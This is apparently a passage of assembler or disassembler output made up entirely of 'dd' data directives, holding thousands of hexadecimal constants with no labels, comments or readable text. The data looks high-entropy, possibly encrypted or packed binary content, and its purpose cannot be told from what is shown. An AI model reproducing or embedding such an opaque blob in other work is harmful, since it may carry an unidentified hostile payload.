		dd 13506020h, 0E8176602h, 630FB04Ch, 0E90D3B93h, 13D9BB2Fh
		dd 607712BFh, 0A7050BA3h, 0C003F474h, 835C881Dh, 74A0AE5Fh
		dd 894B4E32h, 9C802B8Ah, 0BA0086Dh, 5BDF31C1h, 0E121EB41h
		dd 2E847158h, 811A9FA2h, 0E8423C93h, 0D92FDB72h, 85BA6D4Ah
		dd 0EEC4ADE9h, 0F645F542h, 832407D5h, 0EF8115C5h, 5A66BF59h
		dd 0C85AB8CAh, 73C2F1F9h, 0ED58B268h, 0F6AC88E5h, 68F02325h
		dd 0C112D83h, 51C92D76h, 8654094Bh, 99DEC132h, 4C4048Bh
		dd 5703D1CEh, 4CF95251h, 22212FE1h, 55D28B59h, 0B842FAD3h
		dd 0EE80017Dh, 67A1304Eh, 74C0F582h, 4EBFC7C5h,	4BF1F6E0h
		dd 0D6BE968Ch, 323C0D20h, 4A1EDDF7h, 3989535Fh,	0F222192Fh
		dd 430A3BF6h, 0B9074F02h, 20E9FF7Fh, 4C520008h,	3F2D766Eh
		dd 0A5A898F2h, 9D16B0A8h, 243B5463h, 3E730590h,	0F1E149E9h
		dd 0C281842Bh, 7C5C2E37h, 8B6B446Eh, 9796AAC1h,	0E64BFD67h
		dd 900969Ch, 40E3BB53h,	896A3238h, 147EDADCh, 0AB015238h
		dd 105C4401h, 875D4006h
		dd 11798C08h, 7E6FE883h, 8896210h, 88034D08h, 5D201983h
		dd 0E71C0874h, 5E7B1818h, 8099EF08h, 20C632C2h,	310807C0h
		dd 3818F9D2h, 6B4E0118h, 19891088h, 885FF0Ch, 5E154050h
		dd 13209C62h, 0AD120397h, 0DD11010h, 10B3B110h,	0E01840C6h
		dd 5946081Ah, 83C51C8h,	0F70C4F6Eh, 0F3420875h,	886F3888h
		dd 0C443708h, 0D518BA7Ah, 17084B63h, 5718315Bh,	8CE8DE29h
		dd 8AB2818h, 0F9A44098h, 0B7ED6741h, 9CA33502h,	5120DEC7h
		dd 77F12AE6h, 0E9046694h, 0A73110D8h, 570508B1h, 981CDD01h
		dd 12A92220h, 0B708C6A6h, 8F201860h, 5855314Ah,	8C28F010h
		dd 18469A08h, 1D774075h, 2109862h, 6288035Eh, 0A3270818h
		dd 8066F418h, 10C6C76Ah, 5408CF59h, 62D6ECFFh, 87050824h
		dd 22DEC02h, 30033377h,	81303FF0h, 0BC661BC0h, 31104AF9h
		dd 1708523Dh, 36299089h, 0ACF14131h, 7BAB01FBh,	80611C24h
		dd 7580689Bh, 48FE815Ah, 10C67194h, 200809D0h, 0A5206B7Fh
		dd 18402023h, 0D44EC02Ah, 4095CE40h, 92E0F5h, 31F3AE20h
		dd 0CF08666Ah, 108F03F6h, 18163F51h, 20188C4Fh,	24B0815Ch
		dd 0C640D300h, 3EBE40D6h, 82201F62h, 516B065Ah,	0A9B44F54h
		dd 8B9E9CA8h, 8518C82h,	208E643Bh, 0B00C9251h, 462BD0A5h
		dd 88CAAA8h, 20C6F17Ch,	2008DC3Ch, 0AC63DB2Ch, 180C79D1h
		dd 18D48108h, 8C6EFE1h,	20182F69h, 7F628D04h, 2581BB9h
		dd 17025F6Ah, 53CC0F4Dh, 3E63E210h, 70E1D708h, 0D4C15418h
		dd 6817809Eh, 0C4A20280h, 64A1608h, 7D3898C2h, 0BC08C4B5h
		dd 0E9550C20h, 2469C65Fh, 9E320891h, 4A59E994h,	0F2D4A300h
		dd 0E0A945D2h, 260868EAh, 1C948064h, 6C249581h,	18DA6367h
		dd 83EB007h, 0CD4440E5h, 0D1B1EC11h, 27B9984Eh,	0CA6DDC38h
		dd 8C94EF08h, 9408085Eh, 8769B764h, 27F3C92h, 76078302h
		dd 9C6002E8h, 0A464E8FCh, 539B84BDh, 0D78BC392h, 436B9403h
		dd 473B1000h, 0EB02752Ch, 0E896313h, 3D7AA7B9h,	44010500h
		dd 0B49408Fh, 0F7750BC9h, 2B0E748Bh, 0F003DE82h, 3C134457h
		dd 0F06C033h, 2C304FB1h, 6C2CAC17h, 74270709h, 0BC00EBB3h
		dd 41C4093Bh, 2923E91Ah, 1CBD7E48h, 0F630F470h,	23BA4AB1h
		dd 14B611FFh, 4ECA5B4Ah, 0D4B85001h, 0E636A82Bh, 48297155h
		dd 0E0010282h, 0D0E1EB21h, 9806DF5Fh, 779DE950h, 3DC30525h
		dd 83184463h, 0A04C2790h, 2CAB039Dh, 0DE893B24h, 92FA9C91h
		dd 4497BE07h, 3E0C3976h, 9093D187h, 105ACCEFh, 81671F6Fh
		dd 669634EDh, 358B8DEDh, 12FC2368h, 261C006Fh, 0F18B16EFh
		dd 8145F63Eh, 12D9E468h, 0C2B77E8Dh, 88E82E20h,	7493F5A0h
		dd 9D27182Eh, 15B06100h, 34E957E4h, 0BC248C91h,	0E3C8DE1Fh
		dd 0EB2900C6h, 27CEBD55h, 0C0093327h, 66C1660h,	15E94025h
		dd 5A50289Ah, 0CD6B8D1h, 3B773DAEh, 467178F7h, 0FED88479h
		dd 82AEC716h, 0B0572AB5h, 0A212912Dh, 5E65D5D0h, 8171406Ch
		dd 0C668C45Dh, 0A6305A4Bh, 8B62F6h, 2FB95164h, 81116501h
		dd 5D8CE107h, 0F16063CCh, 5A4D2ACFh, 82F0A119h,	0C759AF12h
		dd 83897F03h, 3C0B5EF2h, 813E2260h, 827DB2EDh, 91A18DE6h
		dd 87D5A901h, 8364F46Ah, 0D8FDB451h, 581FDEEEh,	0C6001686h
		dd 1D653B8Dh, 0E9D63B01h, 89CE333Ah, 6F9ED18Fh,	48885F9Ch
		dd 4F8896FAh, 0F89B6CAFh, 1132DA5h, 16A80F46h, 7F4AD768h
		dd 0C6C402BDh, 7F5F098Eh, 0FEFA930Dh, 2EEBB580h, 85F00D24h
		dd 0A5A401E8h, 0BE82F1A2h, 0CA4067ACh, 8D5018F2h, 0D9BDC6A9h
		dd 42E984B3h, 38F70D5Dh, 716A002Bh, 21377F7Bh, 68D8D895h
		dd 1D935A17h, 499EBFD3h, 12CA585Eh, 7D13343Bh, 20B95921h
		dd 6A0DC7CDh, 6F4BFA1Eh, 4414FEA8h, 7E29C929h, 24E97E3Ch
		dd 952D1026h, 0B94A4453h, 18DD3DC9h, 4232CFBEh,	92F4A04Ah
		dd 0C9F53E0Fh, 40E59690h, 2B161385h, 19AC5367h,	26CB412Fh
		dd 873394A0h, 0D8A4365Ah, 316F4097h, 4B84C495h,	0FFCB3556h
		dd 2FFF1D91h, 29C0E06h,	7F5A6842h, 0E30035CCh, 5664CD7Dh
		dd 0D807ACE9h, 268B40C2h, 0FDF05181h, 0BF4DD0DCh, 14208204h
		dd 4128A96Eh, 7F325908h, 0DC3E9D8Dh, 0B56B48BCh, 0D96590Ah
		dd 0DA78207Fh, 0C9D0D957h, 0E98EE875h, 0ED7360C2h, 6E8A2DF8h
		dd 662E2526h, 0EB27512Fh, 80691E5Fh, 256806B4h,	12F41CFAh
		dd 0D348BFD8h, 0D40204A0h, 35831E16h, 0D7440C65h, 52FF4DB4h
		dd 852A0040h, 8946C056h, 9A33CF7Fh, 0E8C3D121h,	0F60EE178h
		dd 543468B2h, 91FCBE6Ch, 0E2AFB991h, 7E580F74h,	5D932D43h
		dd 738D2B80h, 682F1B4Eh, 0C0D5FE75h, 46DD30EEh,	0A0B0D8B5h
		dd 6079FE85h, 0E9DACA35h, 48B285A6h, 0D37BF180h, 7EE1169Dh
		dd 46DE265Fh, 137E692Ah, 9D865C51h, 36E65DE9h, 5391C0BFh
		dd 8CCB3DAh, 1E3A6BFFh,	0FB172C77h, 5B3B2A0h, 8ACB8069h
		dd 45F187F6h, 6F30A4DEh, 9A05016h, 759E52Ch, 0F748915Fh
		dd 22E942D0h, 1AB89FA0h, 1B03F172h, 0D52E1CBFh,	0C656F913h
		dd 7C5412Ah, 403F9D2Fh,	0AC59A6A0h, 0E2E9490Ch,	0BBB401Bh
		dd 7F8C1854h, 8FDD3889h, 0B6B9E6B0h, 0BD660F40h, 8C24A171h
		dd 7AADCD60h, 53CB58B7h, 260C0490h, 0C1BB68D2h,	0EE6DD66Fh
		dd 242362DEh, 4EE955E3h, 8467310Eh, 1C52B142h, 0C78018FDh
		dd 67642DA2h, 381DBF7h,	0A9042D68h, 0C06A3F41h,	2408A0Bh
		dd 0B6E45A5Ah, 63E91BDEh, 0A0F95EB2h, 607FD970h, 2FFF03C6h
		dd 8F49DD8Eh, 51FFF64Bh, 899D7E05h, 68539300h, 4F230DF3h
		dd 0A7975B40h, 0B207806h, 8D410E0h, 40FE9E8Fh, 660A61EAh
		dd 0F224E930h, 5C83EAA3h, 0D1735722h, 0AC2ABF16h, 0E7FAC480h
		dd 0E0B15AD0h, 5E139C0h, 547EA6CCh, 90318DB8h, 0C7AE207Fh
		dd 9309E9BDh, 0EC5E8C28h, 0FAAC851Dh, 0D61341A3h, 0CB4BA467h
		dd 69850807h, 0CA80424Ah, 58D11FEEh, 6C05EB7Dh,	8462BED2h
		dd 0A8AA17DFh, 55BC10CFh, 84CB117h, 2192E186h, 3ACDD1BAh
		dd 63743BB2h, 686D8EC0h, 87274B7Dh, 62D569E3h, 35428452h
		dd 72055F00h, 0C358D684h, 0A861045h, 6E2D3360h,	0D0ABF2Eh
		dd 705F829h, 0C373C20h,	33D42E2Bh, 80AE2585h, 9D3C3598h
		dd 0DE96812h, 7F5B5D82h, 0F5EAD080h, 1C98D2F6h,	1827B420h
		dd 976A4768h, 2980EEF3h, 0C90E8h, 3C8E79F2h, 50A5CD81h
		dd 8F40CB2Ch, 49F61030h, 0A0034FFBh, 5F1A1032h,	33AD159h
		dd 12367C9Bh, 0AB05495Fh, 5A47D631h, 192BC749h,	0EED6F26Ch
		dd 1740E684h, 0FAEF8E4h, 5E4E8D57h, 1C6250C6h, 2823C75Ah
		dd 1FF1E158h, 931DE65h,	9DF86CE0h, 7B7CC692h, 845BC2CBh
		dd 0BDA81711h, 10FC66C6h, 49956495h, 0EA4ACDB1h, 5E7BC62Ch
		dd 9112A2F9h, 0A96A0999h, 0AA818009h, 907A5A34h, 0C4A38D8h
		dd 36DE43ADh, 14661F89h, 8D5D9B19h, 7A95BCF8h, 0ED609EE1h
		dd 83BB803Bh, 4BF8440Bh, 0B0037589h, 0B872938h,	239A6267h
		dd 0B7F3DAB1h, 0FB4563F9h, 0A35EC38Bh, 0CAF35095h, 1DDA7505h
		dd 0AC00CB01h, 788879A8h, 7F4002Dh, 0BD0D73FEh,	7D3B1765h
		dd 3B257005h, 16A2DEA0h, 853AF959h, 45F784CDh, 0B4A7Bh
		dd 392BB47h, 29484F8Fh,	0E7DE14FAh, 27BFA597h, 9350A4F0h
		dd 0A805C35Bh, 83C7437h, 0AA13E621h, 89522085h,	0F646BBFAh
		dd 0BD16E09Fh, 5C13D6B4h, 4F4F668h, 0E14A70D1h,	0D62A716Fh
		dd 24417708h, 0A800C350h, 0B82CD518h, 0F3150201h, 5F9BE946h
		dd 0BC4ACDE4h, 4A5F810h
		dd 389579D3h, 0B45487EFh, 7299ABCEh, 0D6291001h, 8045F070h
		dd 485EC380h, 50668B80h, 5AB56251h, 90093EA7h, 97631BEEh
		dd 5D575818h, 0C1E9C2BDh, 5A008D8Ah, 7BF93F68h,	3D623E2h
		dd 6B70678Ch, 0D3C15497h, 0EEE046C7h, 4A2C164Ch, 602CF2Bh
		dd 0C0392255h, 2C3C6756h, 815D1F03h, 179212FDh,	0DCE3F01h
		dd 75BEE909h, 0E72DB055h, 5868CB02h, 47590AF7h,	9B8F801Eh
		dd 2B21EB6Ch, 0D23C0BA5h, 0B0A37311h, 4211DD52h, 0B91DE9ECh
		dd 41DD30FDh, 725B976Eh, 0C6273A8Ah, 0FE0CB49Ch, 78004CCh
		dd 0E7302BC4h, 9AC76058h, 0A6AA14E9h, 4994B4FDh, 0BE3DDC1Bh
		dd 83B8735Fh, 53B2F45Eh, 0B30193D0h, 6860F705h,	53E36B2Bh
		dd 394B0978h, 9621B82h,	1246E380h, 3590DAF7h, 0AC080F00h
		dd 0DECE8172h, 657E050Dh, 0EE1C7FE9h, 0AEDCC944h, 692B61F4h
		dd 5DD4EC09h, 583FB968h, 3CB91040h, 6EF78101h, 0D8067737h
		dd 100225C2h, 0E5686CB2h, 64777458h, 0BFE8D0FDh, 2B31741Ah
		dd 0A5567265h, 7B50E36Fh, 2C317276h, 15AF378Bh,	7EE168AFh
		dd 24A44B9Bh, 5993009Ch, 5FB4D84h, 0A86D0AE0h, 2F18D062h
		dd 0AF18F158h, 0E90E52F1h, 9540D072h, 8D731ECAh, 9CB2CC1Ch
		dd 4B0EE175h, 0DF3FFC41h, 61FFB903h, 25C6A9D3h,	0A1101D2Dh
		dd 0CD311F4Ch, 0EDBC94Ch, 3CE017B8h, 0D669093Dh, 0EC5FE724h
		dd 6851019Fh, 720A11EFh, 2C3F6921h, 1A37E924h, 0FEB087FBh
		dd 9A77250Eh, 8C7F2779h, 2257F492h, 5E7BA732h, 0F9FC6B12h
		dd 0CF655D52h, 9C47168Dh, 0E0EE343Bh, 0DB2C68C5h, 0EC28559h
		dd 89FB74F6h, 0B25EC790h, 8049096Bh, 0AA47ABCBh, 30219335h
		dd 0CFE95FA6h, 4812E460h, 2F5CF905h, 884854F6h,	0EFDE7071h
		dd 12BE0F17h, 0C395E8B4h, 4A1478E9h, 2674EBAAh,	5B118AAAh
		dd 0FED3DDA2h, 442EC80Ch, 12030E2Dh, 9A12CC9h, 0D1886A68h
		dd 0E5C481C5h, 7AE381Ah, 0A048A82Bh, 0C10145B5h, 190F9CA9h
		dd 7528ED3Eh, 2E023DFDh, 6414CBD0h, 4C1F0489h, 0ACE0372Fh
		dd 7908A2C7h, 45645ECh,	27A1BADh, 5F8A5A66h, 36A155C4h
		dd 61C12547h, 7FEBAC82h, 0F2FBE80Bh, 0B42C3807h, 0F06DFA4Bh
		dd 4AD98A6Fh, 486A45FFh, 686ECC13h, 669F1AF8h, 5840FC0Fh
		dd 954B37B8h, 54612060h, 0F95B5DE9h, 58489FF4h,	0F8A4CC63h
		dd 30EA4A37h, 505E680Ah, 70ED3AE1h, 1E6DE982h, 74EBF3A7h
		dd 5C92F051h, 0B5EAC6A4h, 0AD23FBB7h, 68041D7Ch, 705B15DEh
		dd 6A6FB2C1h, 31208529h, 889DB8F8h, 9B54564Eh, 5FF92DC9h
		dd 7F3438E8h, 1CED88EAh, 7FD36880h, 2ED5D012h, 598E257Bh
		dd 0B10DAACDh, 987E8C23h, 53B71CB8h, 801792B9h,	7CEB9EEh
		dd 19F9476h, 94F600Ch, 600AB33Bh, 7B12220Ch, 85B48048h
		dd 89ACA107h, 4145E9CAh, 59CB07D0h, 7680456h, 817EC213h
		dd 6FACD62Ch, 3DEE9864h, 0DCA33F9Dh, 1A685701h,	6F692E2Bh
		dd 12676FA0h, 55FD4Eh, 0FF6F7F87h, 0F90C897Dh, 0A71B8FE9h
		dd 5A9009EDh, 13618A60h, 5332C01h, 637570C2h, 412553F9h
		dd 0EDC1B982h, 13B785Fh, 0A75003F5h, 7EEE21B5h,	9269C8Bh
		dd 313AA42Fh, 0AD64B278h, 5CA4D0DBh, 31127BEEh,	53B7F4F0h
		dd 7E2F5296h, 1A4EFBDh,	0D1F603B8h, 0E180F0FEh,	535217F9h
		dd 0C60304B7h, 0C3FE10E8h, 0C13B3ABDh, 0F492EA09h, 2F528D8Bh
		dd 0A04070A3h, 71763168h, 2E77AEB9h, 452620A3h,	0F2298BA1h
		dd 2D820C00h, 60B04FF3h, 0C62AEF1Eh, 456D42Fh, 90142BDh
		dd 0AC1D875Ah, 9F8F2078h, 8361F796h, 76AE90Ch, 0CADEAE69h
		dd 81D48FF5h, 612A78F2h, 7B0C820Fh, 7E3942E6h, 0F9A5397Fh
		dd 0F7DE9257h, 17DE6709h, 4CE0BC65h, 6185BF51h,	8202EB59h
		dd 0C238B4F1h, 0F445ABC1h, 0F3263D62h, 0C124B300h, 72737480h
		dd 7DA61394h, 125BD2AEh, 0A4BA2EF2h, 8B06C318h,	4361A24Bh
		dd 0D601000Eh, 0D98949F4h, 6961D1E9h, 59EF882Ah, 2C5BFDCCh
		dd 1AEE5166h, 0AA03C172h, 0F2CFE42h, 7C0343E0h,	0EA561745h
		dd 71C5D779h, 0ABFD290Dh, 0D6A26F30h, 0E17DBC14h, 1BC467CAh
		dd 5378B879h, 5128996Eh, 80B47421h, 0EE26285Ah,	96093159h
		dd 44F67438h, 3FD5E171h, 64066881h, 7727AF32h, 9A3F5966h
		dd 0C13B2717h, 0CD6008D8h, 742F5A6Ch, 0F2BB05h,	0CB2EDB58h
		dd 15F4A463h, 5912997Bh, 0D8D30057h, 8976C440h,	571AEF5Ah
		dd 63CBF41Eh, 5776E27Fh, 0DF3DFC70h, 9EB7951Dh,	84CB5877h
		dd 801710C8h, 2F20600Bh, 11F7F4Ch, 0BA9F6B80h, 1E81FA89h
		dd 0D37714C1h, 50412071h, 7453B81Dh, 7E2D7C00h,	26C869h
		dd 0B225D8F7h, 0E91B236Ch, 0C8061535h, 0B206D8BBh, 58B8535Ah
		dd 51D32800h, 0B520B050h, 41873A4Ah, 0E9BEEDE0h, 2519941Dh
		dd 80980DD5h, 706A2330h, 8D6880CEh, 6C950E4Ah, 0B427228Bh
		dd 0E9163BCCh, 0B2355F80h, 8AAE54D4h, 20B6D0B0h, 0F85D4B46h
		dd 0F6B0BD6Ah, 933977BCh, 0CA060BB0h, 6DC5FA7h,	1592080Ch
		dd 6A03491Ah, 0E328872h, 0DF7FFB4Ah, 0E9D78940h, 0E8A4C3C4h
		dd 9E7B230Ch, 9F1340Fh,	4678CA5Ch, 65909100h, 126728Fh
		dd 0C92A9DC8h, 0C7976792h, 1C681F72h, 147F250Ah, 0E9C1092Dh
		dd 0A16CA1E3h, 263959B5h, 0C99E03D5h, 1ED959E1h, 298C2BACh
		dd 0B7954F34h, 343952BBh, 0A6AA753Bh, 0DD72104Ah, 8B61ABB5h
		dd 0A72F6368h, 0C82F7AEFh, 8E38F117h, 251C51CDh, 77E901F9h
		dd 53A4A59Eh, 29A8665Eh, 0E040875Ch, 1F152DE2h,	6203F9D0h
		dd 0E92DEB14h, 4490CC65h, 0E95DD705h, 0B8684CECh, 6279581Ah
		dd 1A88784h, 8F4526BBh,	249FA03Fh, 3BF21109h, 98768453h
		dd 0BE595E04h, 0C918E9E2h, 0B65218EBh, 0CE809613h, 0FCE62007h
		dd 3C662708h, 0A7ED898h, 0CA0B77D2h, 0B13A5019h, 4BDAE27Fh
		dd 40DF30D5h, 212263Fh,	99543A51h, 5F131E0Ah, 58FE896Fh
		dd 0E2A8835Bh, 0E29561EFh, 1EE670Fh, 0F159A582h, 8A183C70h
		dd 0EB68C911h, 0DEC05C48h, 981C6509h, 0B2EDB74Bh, 52A2810Ah
		dd 56B252Fh, 0C81ECFF6h, 0E2C951FBh, 5FD4ABF5h,	0A902FB1Ah
		dd 770BF8B8h, 0EAC0BB14h, 71FF053Fh, 379B25E9h,	58E385A0h
		dd 709F3819h, 0EF4E20D9h, 8706812h, 578479B9h, 9500EEBFh
		dd 0B3F78128h, 42DB3B55h, 64D4E702h, 0A16076EBh, 0A02604Ch
		dd 2A82E962h, 49155901h, 3F5C6882h, 0E7C05305h,	7C8E169Bh
		dd 8A322C73h, 0C6CD9D6Eh, 33010743h, 9C15885Fh,	6CEA4A50h
		dd 3E5BE904h, 1EBE8385h, 0D2571680h, 0DE41CEEEh, 0E2812AEFh
		dd 287E0C33h, 0EE5ECA39h, 3974E224h, 1B1504C0h,	0D5B0245h
		dd 14A10F01h, 0BE0254C2h, 6EC00CA5h, 6E020BCCh,	61492D28h
		dd 9F4A7788h, 9509070Bh, 0FF0D3E55h, 182BCA7Eh,	0F2D4E0C1h
		dd 2DAD80B8h, 4D4F681Ch, 1BD485BAh, 5EB2201h, 0CD6AF8FBh
		dd 14632B7h, 59936851h,	0F83A48A1h, 92BEA0A8h, 157E2752h
		dd 0A22C0AD4h, 3A02CAA4h, 0FD516983h, 0CD4FE6C9h, 5CC46A0Dh
		dd 0AEAC0717h, 0EACEE9E0h, 0EF860CC1h, 888D5F6h, 983FC7FEh
		dd 0B91EB729h, 3948181Fh, 0E0947232h, 0BE188F01h, 4A22FE09h
		dd 4EABE148h, 6A7790CFh, 97B84EEh, 0D153C02Dh, 0EDA4BC54h
		dd 0B932A522h, 48FB3DC2h, 8AE7B25h, 0B801EDC9h,	648988DEh
		dd 0E87D8F6Ch, 97FFBCEFh, 68A4C272h, 0D14649C2h, 0D9C3B22Ch
		dd 0FE7A1618h, 4DF5EECBh, 0EF078948h, 0A563426Ch, 2579D027h
		dd 92826D6h, 87DEE39h, 81F88E5Ch, 0F0CFB6F2h, 50D29242h
		dd 0F2E48410h, 0E70BED6h
		dd 0D3E542B7h, 0F22CBC33h, 310AEEF7h, 0B3BD1D47h, 0E2342B17h
		dd 8C9516h, 514E0086h, 0E9465E5Fh, 65C1B63Ch, 45CC94C1h
		dd 2EFEF20h, 29981CC0h,	0FC4A46E9h, 6F065740h, 0ED008582h
		dd 0F2808CD0h, 0B5C3BD1Ah, 0F825C3B1h, 4EBCB309h, 1F36F588h
		dd 0F9080D54h, 317F51F3h, 0D7B47ECBh, 8D162F7h,	0B5A9BAE9h
		dd 2759447Fh, 0E0D66296h, 0CC9FB342h, 0E8509FCCh, 7312134Eh
		dd 0B20541A8h, 0C329187Bh, 0FBE9B832h, 9A84604Fh, 0CED0653Eh
		dd 38FCD9A5h, 58F02426h, 0B4C1838Ch, 80C42006h,	5618BA2Ch
		dd 730C3160h, 97637B4Dh, 8829072h, 5A41FFC3h, 17E17A16h
		dd 83FAC43Bh, 208E597Dh, 0AB2EDA0Bh, 0B2C10003h, 10304B5Ch
		dd 5B39EBE9h, 9BE46F01h, 0E5F098E3h, 0B518C0D6h, 24ED809Ch
		dd 1DC5FE39h, 8DEC0CDh,	1A4EF58Ch, 0EB282478h, 0D64115A3h
		dd 612DEC5Bh, 0D61EF968h, 9C18C44h, 5494960Dh, 6D3E9831h
		dd 0DDF70E62h, 0ECF439C3h, 312F7DA2h, 4C4E68ECh, 5522000Ch
		dd 50800968h, 0D8BD59DFh, 20EA6F1h, 0B3903D35h,	0D0D089A0h
		dd 200D1F4Eh, 5DC26568h, 412886E7h, 0F2D3540h, 565245AAh
		dd 976F9101h, 8A39E86Bh, 0E92A9E7Ch, 566194D7h,	0A04CE596h
		dd 4CEAB120h, 0BD588103h, 59174104h, 80B0EC01h,	1123D3E2h
		dd 3064B872h, 0B26DBFC5h, 321CCE62h, 66976859h,	5F49438Ch
		dd 0A482F816h, 0E1BA79F4h, 0D02824C2h, 521C79Dh, 55585416h
		dd 85AD25C4h, 0EF5DEB84h, 0D6355DE3h, 89561DB0h, 0DA798C9Ch
		dd 9A0F3382h, 6644DD57h, 91CE8C2Eh, 0BFB5B44h, 15F01A9h
		dd 921959C7h, 0A4B6807Fh, 3A4F8C6Ch, 68C373ACh,	77176F10h
		dd 84823125h, 1E61D752h, 7D360D7h, 44FFA9D6h, 1305B40Bh
		dd 0DA10BFB3h, 4FE9A055h, 0EF399210h, 1C09F4B8h, 60F513BAh
		dd 2490CD1Fh, 1A7910Fh,	92D9F8F5h, 0ED462B30h, 80CCF3DAh
		dd 80AC2ECEh, 5590DD08h, 0D3060B9Dh, 72762577h,	251122BBh
		dd 0DB12B83Dh, 28740D80h, 15FC325Fh, 0D82F3E94h, 0B90B0FDh
		dd 18E14439h, 31CF084h,	0FA5376BFh, 0A6D97541h,	80EFC10Bh
		dd 3A82BBC3h, 0E90F0C18h, 589221F4h, 0D3F75B06h, 0FB0C5350h
		dd 0B36BA561h, 0E7D52E7Fh, 6844C51Dh, 4FB3726Dh, 0E86BED00h
		dd 86F33538h, 2956A701h, 0EF8958C5h, 54722175h,	0A3F19460h
		dd 0FA4C4296h, 3C830439h, 41C63A2Dh, 4188019Eh,	97E91D29h
		dd 55590235h, 0FF000AF8h, 0C3618724h, 0A852D068h, 80760698h
		dd 7739ADB9h, 78FD7A91h, 61465095h, 0D52726B4h,	0E3988E1Ch
		dd 0F737680Bh, 458D607h, 8C013C2Bh, 2F784F9Fh, 0B65279A0h
		dd 0BCB0371Ch, 135AF00Eh, 0B5511006h, 0E9EB1588h, 0BD0FBAA3h
		dd 0D89158Dh, 891505h, 27ECEE06h, 0EA8035A8h, 1CD252Bh
		dd 40C60641h, 7BB95108h, 63A0022Fh, 3B2098D8h, 0E6C13D33h
		dd 0C0CE8181h, 0E4224B7Eh, 4E0C08EEh, 0AA1D9EE9h, 6404B42Dh
		dd 0C126A0B9h, 7CA171B0h, 0E69E532Ah, 0AD368DECh, 5EC28207h
		dd 25557109h, 3787CDD4h, 8AF72A88h, 9207F629h, 2CE3266h
		dd 401098C3h, 0B906F598h, 42463110h, 42B3C105h,	82BB03B4h
		dd 5A5F8938h, 0A7269619h, 0EBBF7054h, 0E547463h, 0BA128003h
		dd 0C348DBCBh, 0A4DBE24Eh, 2B9849BEh, 0AF59F0A4h, 4EED2FE5h
		dd 5F00016Eh, 6C7AD468h, 90BAD3FAh, 932C5827h, 474C8E0h
		dd 2A0841B4h, 0B0D4A1Fh, 1282539Eh, 0A1484AF8h,	0B81C50EFh
		dd 8EE5205Ch, 89754EEAh, 2EDD500Dh, 0A5B371E9h,	42974178h
		dd 1A0FD5Dh, 8ADE03C6h,	0C831B827h, 0C5DFBCA8h,	0EEEAD15Ch
		dd 10F34210h, 3128F244h, 946892AEh, 19575A47h, 82052966h
		dd 945F7C69h, 12724E34h, 2B20719h, 0FF90DB26h, 0DB95F29Ch
		dd 0D32909EDh, 40D0B38Fh, 9E13E7F7h, 0AEE4112h,	0B9CAD58h
		dd 0C7A0D116h, 2D922176h, 74FD012Fh, 3A7D8BB1h,	2248B122h
		dd 0A5B995DFh, 94AA05Ah, 505515C0h, 7BB1768h, 90F51D95h
		dd 0D2F60310h, 3539EA80h, 9810A106h, 0E12568B7h, 0DA901810h
		dd 2C4320E9h, 0E86512EAh, 0DA5D66F0h, 0EFBC511Dh, 49B7547Eh
		dd 0D518171Dh, 0F7D84749h, 58BA624Eh, 40298C09h, 65657D5Dh
		dd 145CF20h, 6B11DB07h,	8E640C8Dh, 5B08A1EEh, 0E7411121h
		dd 0CC6E7D39h, 7C0BBA7Eh, 0F217E732h, 2D70E6C2h, 0FE08C40Bh
		dd 9D51AD95h, 0F7FC4364h, 7278BA00h, 50056E49h,	3C1E6718h
		dd 277FBD58h, 18FC6882h, 85050632h, 151F2D0Ah, 36A3977Bh
		dd 40D37B8Ch, 4B03BF92h, 0F710E57Ah, 0B8044FD7h, 7F46B0BEh
		dd 17298D5h, 0F337EBCDh, 3055457Eh, 0F9BDEAC5h,	0EE529302h
		dd 0D82FDD69h, 8273D5Eh, 7F236E01h, 0D2E6BFD0h,	7E2C9A25h
		dd 2C915164h, 38680B29h, 0E20FF67Fh, 0D350BAE9h, 0E1854396h
		dd 9A405121h, 0C7F3262h, 0BADEF84Ah, 9E7900Eh, 51B622ABh
		dd 0E620EE74h, 34B0590h, 58CC9E87h, 12F99E9Ah, 1E28FE59h
		dd 70E03168h, 92B1C2C7h, 70FBD51Bh, 3E6BEFE7h, 0D8F4355Ah
		dd 2E904928h, 638BCD03h, 0AFD90926h, 68E22BB4h,	85CBA571h
		dd 8D5846E9h, 2EB51B16h, 6895B5CDh, 0B9525EAEh,	65F0B313h
		dd 0D8EB5C88h, 0D232334Ch, 0C6D7EE2Dh, 4E53FA0Fh, 1A81D006h
		dd 424C1933h, 3FFC0924h, 0DBA97D2Fh, 765A70Dh, 8A187D84h
		dd 965E754Eh, 34FECCC5h, 8F8C0016h, 0E9388442h,	7BA414Eh
		dd 0BBCF798Ch, 0E225C954h, 3145D2FCh, 59DF895Ch, 25F0373h
		dd 0FC60AA46h, 0AF8E312Eh, 99E9DE61h, 0F6D589B7h, 959D7108h
		dd 0B673A1E0h, 0FC89EFB3h, 8C83977Fh, 0B8102BF8h, 8B7BC50Bh
		dd 20FCF46Eh, 21C61DDBh, 974521Ch, 9CFD0B26h, 0F16812E8h
		dd 0D96CB664h, 0A67B530Ch, 4F205A43h, 0F156425h, 0C205190Ah
		dd 0A95EA0F4h, 817B1942h, 0EBF5B24h, 0EB5356B0h, 31695301h
		dd 773848Ch, 5A2786A2h,	51EB6ED9h, 50F46BCAh, 674B1928h
		dd 472E3230h, 0E9011688h, 59C6C165h, 91DDDF41h,	0F8E10856h
		dd 61C77270h, 79F502C1h, 0FF2D6EBCh, 647AAAFCh,	0EB7D3232h
		dd 0C58B5F48h, 680525C4h, 20A73B4h, 0FFC16494h,	0A8627FE8h
		dd 30E167C9h, 4AF3305Bh, 4C373F04h, 287E3C1h, 0BA3F402Bh
		dd 13440574h, 1D2F738h,	0BF504A8Ah, 0CCF2D826h,	71CD7A18h
		dd 25B1D318h, 0B3F8D470h, 0CF0033B0h, 35485907h, 7A50553h
		dd 62722D7Eh, 0F4419FC6h, 61420D2Eh, 0E275FEE3h, 73C38764h
		dd 0E430FF2Bh, 0C6BF2ECFh, 9F1C7B49h, 0AC2C3D24h, 5F2D00EFh
		dd 112C848h, 70551D8h, 8552D52Ah, 0BB72A0B6h, 5E7B3E02h
		dd 0E3DF2953h, 0BD2AA38h, 0E212667Ah, 13EB6556h, 0C9CBBA45h
		dd 856AF625h, 0CBF4405Fh, 3FAC2460h, 0E34C0833h, 4B0D8A20h
		dd 0C27C531h, 6693533Eh, 0AD9E6EC5h, 7339D5A7h,	3D6E705Ch
		dd 2A33C1E1h, 309610EDh, 39E9539Ch, 5A3E0892h, 48CA3F58h
		dd 2CF81D8Fh, 1A0B0224h, 17647EBh, 2A34D3BAh, 388E8649h
